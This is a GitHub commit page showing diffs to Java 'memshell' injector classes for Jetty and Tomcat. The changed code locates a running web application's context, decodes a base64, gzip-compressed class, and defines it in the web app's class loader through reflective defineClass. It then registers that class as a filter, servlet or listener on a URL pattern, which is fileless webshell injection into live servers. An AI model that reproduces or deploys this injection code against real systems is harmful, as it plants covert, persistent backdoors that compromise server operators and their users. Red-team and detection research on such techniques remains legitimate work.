Skip to content

Commit 3c7badd

Browse files
committed
feat: support webAppClassLoader
1 parent f3415da commit 3c7badd

16 files changed

+257
-149
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -152,19 +152,24 @@ private List<Object> getContext() throws Exception {
152152
return contexts;
153153
}
154154

155+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
156+
try {
157+
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
158+
} catch (Exception e) {
159+
return ((ClassLoader) getFieldValue(context, "_classLoader"));
160+
}
161+
}
162+
155163
@SuppressWarnings("all")
156164
private Object getShell(Object context) throws Exception {
157-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
158-
if (classLoader == null) {
159-
classLoader = context.getClass().getClassLoader();
160-
}
165+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
161166
try {
162-
return classLoader.loadClass(getClassName()).newInstance();
167+
return webAppClassLoader.loadClass(getClassName()).newInstance();
163168
} catch (Exception e) {
164169
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
165170
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
166171
defineClass.setAccessible(true);
167-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
172+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
168173
return clazz.newInstance();
169174
}
170175
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -74,19 +74,24 @@ private List<Object> getContext() throws Exception {
7474
return contexts;
7575
}
7676

77+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
78+
try {
79+
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
80+
} catch (Exception e) {
81+
return ((ClassLoader) getFieldValue(context, "_classLoader"));
82+
}
83+
}
84+
7785
@SuppressWarnings("all")
7886
private Object getShell(Object context) throws Exception {
79-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
80-
if (classLoader == null) {
81-
classLoader = context.getClass().getClassLoader();
82-
}
87+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
8388
try {
84-
return classLoader.loadClass(getClassName()).newInstance();
89+
return webAppClassLoader.loadClass(getClassName()).newInstance();
8590
} catch (Exception e) {
8691
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
8792
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
8893
defineClass.setAccessible(true);
89-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
94+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
9095
return clazz.newInstance();
9196
}
9297
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -81,16 +81,24 @@ private List<Object> getContext() throws Exception {
8181
return contexts;
8282
}
8383

84+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
85+
try {
86+
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
87+
} catch (Exception e) {
88+
return ((ClassLoader) getFieldValue(context, "_classLoader"));
89+
}
90+
}
91+
8492
@SuppressWarnings("all")
8593
private Object getShell(Object context) throws Exception {
86-
ClassLoader classLoader = context.getClass().getClassLoader();
94+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
8795
try {
88-
return classLoader.loadClass(getClassName()).newInstance();
96+
return webAppClassLoader.loadClass(getClassName()).newInstance();
8997
} catch (Exception e) {
9098
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
9199
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
92100
defineClass.setAccessible(true);
93-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
101+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
94102
return clazz.newInstance();
95103
}
96104
}
@@ -103,7 +111,6 @@ public void inject(Object context, Object servlet) throws Exception {
103111
return;
104112
}
105113

106-
ClassLoader classLoader = context.getClass().getClassLoader();
107114

108115
String[] classNames = new String[]{
109116
"org.eclipse.jetty.servlet.ServletHolder",
@@ -114,10 +121,11 @@ public void inject(Object context, Object servlet) throws Exception {
114121
};
115122

116123
Class<?> servletHolderClass = null;
124+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
117125

118126
for (String className : classNames) {
119127
try {
120-
servletHolderClass = context.getClass().getClassLoader().loadClass(className);
128+
servletHolderClass = contextClassLoader.loadClass(className);
121129
} catch (ClassNotFoundException ignored) {
122130
}
123131
}
@@ -129,7 +137,7 @@ public void inject(Object context, Object servlet) throws Exception {
129137
Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
130138
servletHolderConstructor.setAccessible(true);
131139
Object servletHolder = servletHolderConstructor.newInstance();
132-
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet});
140+
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(contextClassLoader)}, new Object[]{servlet});
133141
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
134142
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
135143
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

Lines changed: 31 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -39,8 +39,8 @@ public TomcatFilterInjector() {
3939
try {
4040
List<Object> contexts = getContext();
4141
for (Object context : contexts) {
42-
Object filter = getShell(context);
43-
inject(context, filter);
42+
getShell(context);
43+
inject(context);
4444
}
4545
} catch (Exception e) {
4646
e.printStackTrace();
@@ -66,46 +66,48 @@ public List<Object> getContext() throws Exception {
6666
return contexts;
6767
}
6868

69+
private ClassLoader getWebAppClassLoader(Object context) {
70+
try {
71+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
72+
} catch (Exception e) {
73+
Object loader = invokeMethod(context, "getLoader", null, null);
74+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
75+
}
76+
}
77+
6978
@SuppressWarnings("all")
7079
private Object getShell(Object context) throws Exception {
71-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
72-
if (classLoader == null) {
73-
classLoader = context.getClass().getClassLoader();
74-
}
80+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
7581
try {
76-
return classLoader.loadClass(getClassName()).newInstance();
82+
return webAppClassLoader.loadClass(getClassName()).newInstance();
7783
} catch (Exception e) {
7884
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
7985
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
8086
defineClass.setAccessible(true);
81-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
87+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
8288
return clazz.newInstance();
8389
}
8490
}
8591

8692
@SuppressWarnings("all")
87-
public void inject(Object context, Object filter) throws Exception {
93+
public void inject(Object context) throws Exception {
8894
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
8995
System.out.println("filter already injected");
9096
return;
9197
}
9298
Object filterDef;
9399
Object filterMap;
100+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
94101
try {
95-
// tomcat v8/9
96-
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, context.getClass().getClassLoader()).newInstance();
97-
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, context.getClass().getClassLoader()).newInstance();
102+
// tomcat v8+
103+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
104+
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
98105
} catch (Exception e2) {
99-
// tomcat v6/7
100-
try {
101-
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
102-
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
103-
} catch (Exception e) {
104-
// tomcat v5
105-
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance();
106-
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance();
107-
}
106+
// tomcat v5+
107+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
108+
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
108109
}
110+
109111
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
110112
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
111113
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -114,30 +116,24 @@ public void inject(Object context, Object filter) throws Exception {
114116
Constructor<?>[] constructors;
115117
try {
116118
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
117-
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
118119
} catch (Exception e) {
119120
// tomcat v5
120121
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
121-
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
122122
}
123123
try {
124124
// v7.0.0 以上
125125
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
126126
} catch (Exception e) {
127127
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
128128
}
129-
constructors[0].setAccessible(true);
130-
try {
131-
Object filterConfig = constructors[0].newInstance(context, filterDef);
132-
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
133-
filterConfigs.put(getClassName(), filterConfig);
134-
System.out.println("filter inject success");
135-
} catch (Exception e) {
136-
// 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
137-
if (!(e.getCause() instanceof ClassNotFoundException)) {
138-
throw e;
139-
}
140-
}
129+
130+
Constructor filterConfigConstructor;
131+
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
132+
filterConfigConstructor.setAccessible(true);
133+
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
134+
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
135+
filterConfigs.put(getClassName(), filterConfig);
136+
System.out.println("filter inject success");
141137
}
142138

143139
@SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 12 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -61,19 +61,25 @@ public List<Object> getContext() throws Exception {
6161
return contexts;
6262
}
6363

64+
private ClassLoader getWebAppClassLoader(Object context) {
65+
try {
66+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
67+
} catch (Exception e) {
68+
Object loader = invokeMethod(context, "getLoader", null, null);
69+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
70+
}
71+
}
72+
6473
@SuppressWarnings("all")
6574
private Object getShell(Object context) throws Exception {
66-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
67-
if (classLoader == null) {
68-
classLoader = context.getClass().getClassLoader();
69-
}
75+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
7076
try {
71-
return classLoader.loadClass(getClassName()).newInstance();
77+
return webAppClassLoader.loadClass(getClassName()).newInstance();
7278
} catch (Exception e) {
7379
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
7480
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
7581
defineClass.setAccessible(true);
76-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
82+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
7783
return clazz.newInstance();
7884
}
7985
}

0 commit comments

Comments
 (0)